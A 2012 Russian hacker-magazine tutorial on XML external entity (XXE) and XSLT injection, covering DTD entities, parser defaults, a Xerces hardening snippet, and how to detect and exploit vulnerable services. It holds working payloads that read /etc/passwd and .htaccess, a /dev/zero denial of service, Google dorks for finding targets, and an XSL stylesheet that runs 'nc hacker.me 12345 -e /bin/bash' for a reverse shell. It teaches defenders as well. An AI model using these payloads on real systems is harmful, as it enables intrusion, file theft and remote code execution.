Настольный справочник по атакам на XML-приложения

Журнал «Хакер», 11.12.2012

С одной стороны, тема XML injection — это жуткий баян, а с другой — она так популярна, что баги такого типа присутствовали во многих X-конкурсах последнего времени, например ZeroNights HackQuest и месяце поиска уязвимостей в Яндексе. В этой статье мы постарались собрать и систематизировать все, что известно об XML injection на данный момент.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни авторы не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Часть первая, теоретическая

Начнем издалека. Стандартом определены два уровня правильности документа XML:

  1. Правильно построенный (well-formed) документ. Такой документ соответствует общим правилам синтаксиса XML, применимым к любому XML-документу. И если, например, начальный тег не имеет соответствующего ему конечного тега, то это неправильно построенный XML.
  2. Действительный (valid) документ. Действительный документ дополнительно соответствует некоторым семантическим правилам. Это более строгая проверка корректности документа на соответствие заранее определенным, но уже внешним правилам. Эти правила описывают структуру документа: допустимые названия элементов, их последовательность, названия атрибутов, их тип и тому подобное. Обычно такие правила хранятся в отдельных файлах специального формата — схемах.

Основные форматы определения правил валидности XML-документов — это DTD (Document Type Definition) и XML Schema. Остановимся на DTD. Стандартом предусмотрено два варианта связывания документа с его схемой: либо через ссылку на схему в заголовке XML-документа (этот заголовок называется Document Type Declaration):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order SYSTEM "order.dtd">
<order>
<product>1234</product>
<count>1</count>
</order>

либо через описание схемы в документе inline (аналогия: подключение CSS через ссылку или inline):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [
<!ELEMENT count (#PCDATA)>
<!ELEMENT product (#PCDATA)>
<!ELEMENT order (product, count)>
]>
<order>
<product>1234</product>
<count>1</count>
</order>

Самое интересное в DTD — это то, что умные люди придумали так называемые сущности. Придумали, чтобы можно было подключать часто используемые фрагменты XML-документов по имени. Сущность определяется в DTD через директиву <!ENTITY name "value">и используется в документе как &name;. А потом кто-то подумал, что глобализация должна быть глобальной, и придумал еще и внешние сущности (external entities). Например, можно определить внешнюю сущность current-date:

<!ENTITY current-date SYSTEM 
"http://www.getcurrenttime.com/timestamp.xml">

и перенести логику по вычислению текущей даты и времени на внешний сервис. Предположим, что сервис возвращает ответ типа:

<timestamp>2012-05-01 T 11:20:29 UTC</timestamp>

Успешное разрешение внешней сущности, указывающей на /etc/passwd

Соответственно, наш пример с добавлением текущей даты заказа перепишется так:

<?xml version="1.0"?>
<!DOCTYPE order [
<!ELEMENT count (#PCDATA)>
<!ELEMENT product (#PCDATA)>
<!ELEMENT date (timestamp)>
<!ELEMENT timestamp (#PCDATA)>
<!ELEMENT order (product, count, date)>
<!ENTITY current-date SYSTEM 
"http://www.getcurrenttime.com/timestamp.xml">
]>
<order>
<product>1234</product>
<count>1</count>
<date>&current-date;</date>
</order>

Последний элемент технологии — парсеры, которые, собственно, и разбирают XML-документы, валидируют их, разрешают внешние сущности, реализуют стандартный интерфейс к построенной объектной модели (DOM) и тому подобное. Парсеры бывают валидирующими и невалидирующими. Вот что сказано в стандарте о поведении парсера при наличии в документе ссылок на внешние сущности:

«When an XML processor recognizes a reference to a parsed entity, in order to validate the document, the processor must include its replacement text. If the entity is external, and the processor is not attempting to validate the XML document, the processor may, but need not, include the entity’s replacement text...» 

Это важно! Тут говорится, что валидирующий парсер обязан включить в документ содержимое внешнего файла (логично, иначе как парсер проверит правильность структуры документа?), а невалидирующий — по желанию. Однако на практике это свойство «по желанию» выполняется практически у всех популярных парсеров.

Популярные XML-парсеры

Интерпретируемые языки (PHP, Perl, Python, Ruby и другие):

  • большинство парсеров используют библиотеки libxml2 (xmlsoft.org, последняя версия — 2.7.8) и libxslt (xmlsoft.org/XSLT/);
  • некоторые парсеры используют другие библиотеки (например, модуль expat-XML::Parser в Perl использует библиотеку Expat XML Parser) либо полностью реализуются на «родном» языке (например, парсер REXML в Ruby).

Java:

  • Apache Xerces: xerces.apache.org, последняя версия — 2.11.0;
  • (для XSLT) Apache Xalan-Java: xml.apache.org/xalan-j/, последняя версия — 2.7.1;
  • работа с XML-парсерами в Java реализуется через общий интерфейс Java API for XML Processing (JAXP. В ранних версиях Java через JAXP был доступен парсер Crimson от Sun).

Windows-платформа, .NET:

  • в большинстве Windows-приложений (написанных на Delphi, JScript, VBScript и так далее) для обработки XML используется парсер MSXML (goo.gl/hPdbg, последняя версия — 6.0 SP2);
  • в .NET-приложениях для парсинга XML используются классы из пространства имен System.XML (XmlTextReader, XslTransform и другие).

Часть вторая, переходная

Возможность подключения внешних сущностей волнует нас прежде всего в контексте анализа защищенности веб-приложений. Из всего зоопарка протоколов, основанных на XML, нас будут интересовать только популярные: SOAP и XML-RPC (краткую справку о них ты найдешь во врезках).

Что бы мы хотели получить в идеале? Конечно, возможность чтения локальных файлов вроде этого:

  1. В HTTP-запрос, в котором на сервер передается XML, вставляем <!ENTITY xxe SYSTEM "file:///etc/passwd">.
  2. В теле XML-документа даем ссылку на сущность — &xxe;.
  3. В ответе получаем содержимое локального файла.

Однако в реальности, как говорится в одном анекдоте, «есть нюанс». Прежде всего попробуем рассмотреть XML-парсеры чуть более подробно. Как они обрабатывают внешние сущности по умолчанию?

Есть три класса популярных платформ: .NET, Java и интерпретируемые языки (PHP, Perl, Python, Ruby и подобные). Отметим, что все перечисленные ниже парсеры по умолчанию не производят валидацию обрабатываемого документа. В Windows и .NET используются MSXML-парсер и пакет System.xml соответственно. Только начиная с шестой версии, библиотека MSXML перестала разрешать ссылки на внешние сущности по умолчанию. В Java обычно используются пакеты Xerces и Xalan (для XSLT). И в том и в другом пакете ссылки на внешние сущности по умолчанию разрешаются. Наши же любимые интерпретируемые языки используют библиотеки libxml2 и libxslt (для XSLT), которые тоже по умолчанию разрешают ссылки на внешние сущности. Вывод: запрет на разрешение внешних сущностей в подавляющем большинстве случаев (библиотек) — ответственность программиста.

SOAP и DTD

Спецификация протокола SOAP подробно регламентирует структуру SOAP-сообщения, в частности явно запрещает использование DTD:

«The XML infoset of a SOAP message MUST NOT contain a document type declaration information item».

Таким образом протокол защищен от возможности проведения XXE-атак. С другой стороны, конкретные реализации протокола часто не следуют спецификации.

Для того чтобы понять, насколько много уязвимостей XXE присутствует в реальном мире, надо разобраться с тем, где и когда в веб-приложениях используются парсеры. Мы выделяем два класса использования парсеров: на уровне платформы / стандартных библиотек и на уровне прикладного (своего) кода. Типичный пример использования парсеров на уровне платформы —поддержка протоколов XML-RPC и SOAP, на уровне прикладного кода — реализация обмена данными между приложением и пользователем: импорт, экспорт и так далее. Со вторым случаем все ясно — вряд ли найдется много программистов, которые при инициализации XML-парсеров подумают о том, чтобы запретить разрешение внешних сущностей. Поэтому большинство функций импорта данных в веб-приложение через XML являются уязвимыми к внедрению внешних сущностей (за примером далеко ходить не надо: LFI через XXE-уязвимость в phpMyAdmin — goo.gl/5RDrM).

Разберемся теперь с первым случаем — уровнем платформы. Посмотрим, что говорят спецификации протоколов XML-RPC и SOAP про внешние сущности. В спецификации SOAP нас расстраивают: «a SOAP message MUST NOT contain a document type declaration information item». Как показывает опыт, наличие правил в стеке еще не означает, что их будут выполнять на практике. Тем не менее, шансов найти уязвимость в коде платформы, реализующей SOAP, намного меньше, чем в прикладном коде. С протоколом XML-RPC ситуация значительно лучше (для нас): про запрет внешних сущностей или подключение DTD в спецификации не сказано ни слова.

В результате всего изложенного мы сможем вывести классы приложений, которые, вероятнее всего, будут уязвимы к разрешению внешних сущностей (в порядке убывания вероятности):

  1. Custom-приложения с функцией импорта данных в XML.
  2. Приложения, реализующие протокол XML-RPC.
  3. Веб-сервисы, реализующие протокол SOAP.

Защищаемся

На примере Xerces-парсера покажем, как можно защититься от XXE. Итак, устанавливаем необходимые значения для свойств парсера:

DocumentBuilderFactory dbf = 
   DocumentBuilderFactory.newInstance();
// Отключаем внешние сущности
dbf.setFeature(
  "http://xml.org/sax/features/external-general-entities",   
  false);
dbf.setFeature(
  "http://xml.org/sax/features/external-parameter-entities",
  false);
// Либо полностью запрещаем DTD
dbf.setFeature(
  "http://apache.org/xml/features/disallow-doctype-decl", 
  true);

DocumentBuilder parser = 
   factory.newDocumentBuilder();

При помощи метода setEntityResolver можно задать свой обработчик внешних сущностей (появляется возможность не просто игнорировать сущности, но и обнаруживать XXE-атаки на наше приложение!). Для других XML-парсеров можно найти аналогичные свойства.

INFO

  • Протокол XML-RPC: разработан в 1998 году (xmlrpc.scripting.com/spec.html), автор — Дэйв Уинер (Dave Winer).
  • Протокол SOAP: разработан в 1998 году, текущая версия спецификации Simple Object Access Protocol specification Version 1.2 (www.w3.org/TR/soap12-part1/).
Тестим имя XML-документа

Часть третья, практическая

Следующий шаг — научиться понимать, разрешает заданное приложение внешнюю сущность или нет. Сделать это крайне просто:

  1. Необходимо разместить на своем веб-сервере тестовый документ extdoc.txt с каким-нибудь содержимым, например «include me please!» (на самом деле файл можно даже не размещать!).
  2. Дать ссылку на него в XML-теле HTTP-запроса.
  3. Проверить access.log нашего веб-сервера — а не обратился ли кто к нему? (Или ищем ошибку 404, если не размещали.)
Входной параметр — URL модуля, который сделает XSLT-трансформацию
по XSL-файлу

Учитывая, что в протоколах SOAP и XML структура ожидаемого на сервере документа известна, описанный процесс тестирования легко автоматизируется (скрипты и описание ты найдешь на диске):

  1. Берем список URL, реализующих XML-протоколы, и в цикле отправляем по каждому адресу XML-документ (мы его заготовили заранее) формата SOAP или XML-RPC с внешней сущностью, которая ссылается на файл с нашего сервера. При отправке записываем IP-адрес и доменное имя очередного кандидата в файл.
  2. Наш веб-сервер сконфигурирован не отдавать документ с телом XML-сущности как статический файл, а перенаправлять запросы к нему на специальный обработчик (например, php). Mod_Rewrite в помощь. Обработчик фиксирует все входящие запросы в журнал, записывая IP-адрес отправителя.
  3. Чекаем полученные списки по IP-адресам и понимаем, какие URL заходили к нам за файлом.
  4. Здесь следует учесть, что сетевой фильтр на стороне тестируемого веб-приложения может запрещать исходящие соединения в интернет, тогда наш метод «в лоб» не сработает. Внимательный читатель спросит: откуда же взять эти начальные списки URL для проверки? Конечно, у заказчика тестирования, ответим мы; после чего случайно оброним парочку намеков на паттерны гуглопоиска:
    inurl:xmlrpc.aspx
    inurl:xmlrpc.php
XXE в Safari позволяет вредоносной веб-странице считывать локальные файлы с машины клиента

Итак, тестируемое нами приложение разрешает внешние сущности. Что дальше?

  1. DoS<!ENTITY dos SYSTEM "/dev/zero"> на никсах и <!ENTITY dos SYSTEM "c:\pagefile.sys"> на винде (последнее работает нестабильно).
  2. Сканируем локальную сеть<!ENTITY scan SYSTEM "\\192.168.1.1\C$">. Помни, что сообщения об ошибках и временные задержки — наше все! Кстати, про случай из жизни, связанный с этим трюком, написано в статье «Funny hacks» Владимира Воронцова в этом номере.
  3. Читаем локальные файлы. Казалось бы, все должно быть просто: вставляем<!ENTITY pwd SYSTEM "/etc/passwd"> и мы на коне! Но нет.

Во-первых, тебе кто-то обещал, что сущность, которую ты определил в HTTP-запросе, попадет в HTTP-ответ? Правильно, никто не обещал. Должно повезти. Стоит сказать пару слов про методику тестирования. В custom-приложениях и SOAP-сервисах формат обрабатываемого XML-документа известен (помним про WSDL). То есть нам необходимо во все теги отправляемого документа запихнуть ссылку на нашу сущность и посмотреть, вернется ли она в ответе. С XML-RPC дела обстоят хуже: в общем случае мы не знаем сигнатур методов, реализуемых приложением. Т.е. автоматизировать подстановку сущностей в параметры вызываемых RPC-методов в общем случае нам не удастся. Тут тебе в помощь может прийти спек, описывающий расширение XML-RPC, — http://xmlrpc-c.sourceforge.net/introspection.html. Используя его, ты, например, можешь получить список методов, поддерживаемых на сервере. Увы, далеко не все XML-RPC приложения реализуют интроспекцию. Во-вторых, почему после подстановки сущности итоговый XML должен остаться правильно построенным? Хорошо, что как минимум в случае с PHP по этому поводу беспокоиться не стоит, — делаем base64-обертку вокруг считываемых данных:

<!ENTITY bin SYSTEM "php://filter/read=convert.
base64-encode/resource=/path/to/binary/file">

Далее мы должны познакомить тебя еще с одним интересным методом внедрения XML. Данный метод может привести к выполнению кода на сервере. Есть такая технология, называется XSLT (см. врезку). Обычно она используется для перевода XML-документов, обрабатываемых веб-приложением, в пригодный для отображения в браузере вид. Для трансформации нужны два XML-документа: исходный документ, который мы хотим трансформировать, например, в XHTML, и документ с описанием трансформации. В 99% случаев документ, описывающий трансформацию, лежит на сервере веб-приложения, а путь к нему прописан в каком-нибудь конфиге. В остальном проценте случаев путь к нему передается в URL (:facepalm:). Учитывая такой дизайнерский шаг, можно быть уверенным в том, что интересующий нас HTTP-параметр не подвергается никакой обработке, то есть мы сможем указать XSL-документ, лежащий на нашем сервере. А дальше, если XSLT-трансформатор был инициализирован в PHP-коде кривого веб-приложения следующим образом:

$proc = new XSLTProcessor();
$proc->registerPHPFunctions();

то мы сможем внутри XSL-документа использовать PHP-функции, например, вот так:

<xsl:stylesheet version="1.0?
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
        xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select=
  "php:function('system', 
     'nc hacker.me 12345 -e /bin/bash -v')"/>
</xsl:template>
</xsl:stylesheet>

Хорошо, что подобных приложений в природе мало (google кунг-фу поможет тебе их найти) и с каждым днем становится все меньше :).

XSL и XSLT

Extensible Stylesheet Language (XSL) — это группа языков, предназначенных для преобразования XML-документов или их визуального представления. Эта группа состоит из трех частей:

  • XSL Transformations (XSLT) — язык преобразований XML-документов;
  • XSL Formatting Objects (XSL-FO) — язык, специфицирующий визуальное представление XML-документа;
  • XML Path Language (XPath) — язык, предназначенный для доступа к определенным частям XML-документа (используется как в контексте XSLT, так и самостоятельно).

Специфицируется консорциумом W3C (Extensible Stylesheet Language (XSL) Version 1.1).

Часть четвертая, демонстрационная

Мы подумали: интересно, а за сколько мы сможем найти в интернете приложение, уязвимое не просто к классической XXE-атаке, а чтобы там еще и XSLT-трансформация была? Сказано — сделано.

Перво-наперво мы пошли на сервисы поиска программного кода (opensearch.krugle.orgkoders.com), а также в Google (пользуясь случаем, хочу выразить глубокое сожаление по поводу так не вовремя закрытого сервиса Google Code Search). Нас интересовал заведомо уязвимый участок кода, связанный с загрузкой XML- или XSL-документа для последующей XSLT-трансформации, имя которого берется прямо из параметра GET-запроса. Таким образом мы искали строки вида «$xsldoc->load($_GET» и «$xmldoc->load($_GET». В результате нашлись проекты с уязвимым кодом, но масштаб проектов нам не понравился, и мы решили не связываться с ними. Следующей идеей был поиск веб-приложений, в которых есть модули XSLT-трансформации, принимающие в качестве аргумента имя XML-документа: inurl:"transform.php?xml=" (и потрясающее inurl:"transform.py?xml=" — от структуры URL на сайтах из выдачи слезы наворачивались на глаза). В итоге для дальнейшего анализа мы взяли одно из приложений, в URL которого было значение /path/transform.php?xml=<имя документа>. Нам повезло, что обо всех ошибках, возникших при трансформации, приложение радостно сообщало в HTTP-ответе. Первым делом нам интересно было узнать, что произойдет, если вместо имени локального XML-файла указать что-то удаленное: /path/transform.php?xml=http://ya.ru/. Как мы и предполагали, оно деловито полезло за XML-документом на Яндекс, но поперхнулось (см. иллюстрацию).

Дальше план был таков:

  1. Скачать на управляемый нами веб-сервер исходный XML-документ, который успешно проходит трансформацию. Документ, очевидно, был доступен как /path/<имя документа>.
  2. Добавить в документ inline-DTD, в которой определить парочку сущностей — простую и внешнюю:
    <!ENTITY pi "3.141592">
    <!ENTITY htaccess SYSTEM "file:///path/to/.htaccess">
    

    а в самом XML-документе сослаться на простую сущность pi (для начала).

  3. Запросить трансформацию заряженного XML с нашего сервера: /path/transform.php?xml=http://youllneverguessthena.me/inc.xml и поискать в ответе число пи (почему его там могло не оказаться — читай ниже). Нам повезло — сущности, разрешаемые парсером в исходном документе, проходили трансформацию в конечный документ. Нам оставался последний шаг.
  4. Модифицируем XML-документ на нашем сервере второй раз, добавляя ссылку на внешнюю сущность (&htaccess;) в тело документа, и повторяем запрос на трансформацию. Конечно, читать остальные файлы (в том числе /etc/passwd и /dev/zero) мы не стали, зато уведомили администратора сайта об уязвимости.
XXE в Яндексе обнаружилась при обработке SOAP (к слову о specification vs implementation)

Теперь пару слов о том, почему нам повезло. Вообще-то XSLT-трансформатор не обязан выводить в итоговый документ сущности, разрешенные в исходном. Чтобы заставить его это сделать, в libxml2 (а следовательно, и в PHP) нужен дополнительный вызов. В итоге код, реализующий трансформацию, должен быть примерно таким (ключевая строка —substituteEntities):

<?php
// Исходный документ
$xml = new DOMDocument;
$xml->load('collection.xml');

// Документ, описывающий правила трансформации
$xsl = new DOMDocument;

// Осуществить подстановку сущностей в документ, 
// идущий в трансформатор
// Соответствующая настройка в libxml2
// описана тут: xmlsoft.org/xmlreader.html#Entities
// Отметим, что это самодеятельность libxml2,
// в спецификации DOM про это нет ни слова
$dom->substituteEntities = true;  
$xsl->load('collection.xsl');

// Инициализация XSLT-трансформатора (враппер над libxslt)
$proc = new XSLTProcessor;
// Связывание трансформатора с правилами трансформации
$proc->importStyleSheet($xsl); 
// Применение трансформации к документу collection.xml
echo $proc->transformToXML($xml); 
?>

WWW

  • Спецификация XML 1.0L: goo.gl/nUKXz.
  • Список XML-протоколов от W3C: goo.gl/KzUVZ.
  • Блог Владимира Воронцова, описание XXE в Яндексе: goo.gl/9KIax.

Заключение

Вообще отношение к сущностям во время трансформации сильно зависит (внезапно!) от конкретного парсера. Так что на практике тебе придется проверять поведение в каждом конкретном случае. Сохранение сущностей после трансформации в современных XML-парсерах — отличная тема для хорошего и очень востребованного обзора. Anyone? У нас все.

История развития XML injection

  • 1999 В спецификации RFC 2518 для WebDAV-приложений рассматриваются возможные опасности, связанные с разрешением внешних сущностей в XML.
  • 2002 Грегори Стюк (Gregory Steuck) в рассылке securityfocus.com впервые описывает атаку XXE. Амит Кляйн (Amit Klein) пишет об уязвимости External Entity Expansion в продуктах ведущих вендоров (возможность DoS-атаки на основе XXE, так называемой «billion laughs attack»).
  • 2004 Распространение уязвимостей XPath/XSLT injection.
  • 2005 XXE-уязвимость в Adobe Reader 7. XSLT injection в Firefox.
  • 2007 XML injection в Sun Java System Application Server and Web Server, связанная с внедрением команд в процессе XSLT-обработки.
  • 2008 XXE в Sun Java JDK and JRE 6 Update 3.
  • 2009 XXE в Apple Safari, iPhone OS 1.0.
  • 2010 Cерия уязвимостей XML injection сразу в нескольких продуктах Adobe.
  • 2011 Уязвимости, связанные с XXE, в Microsoft XML Editor (и приложениях Microsoft, его использующих).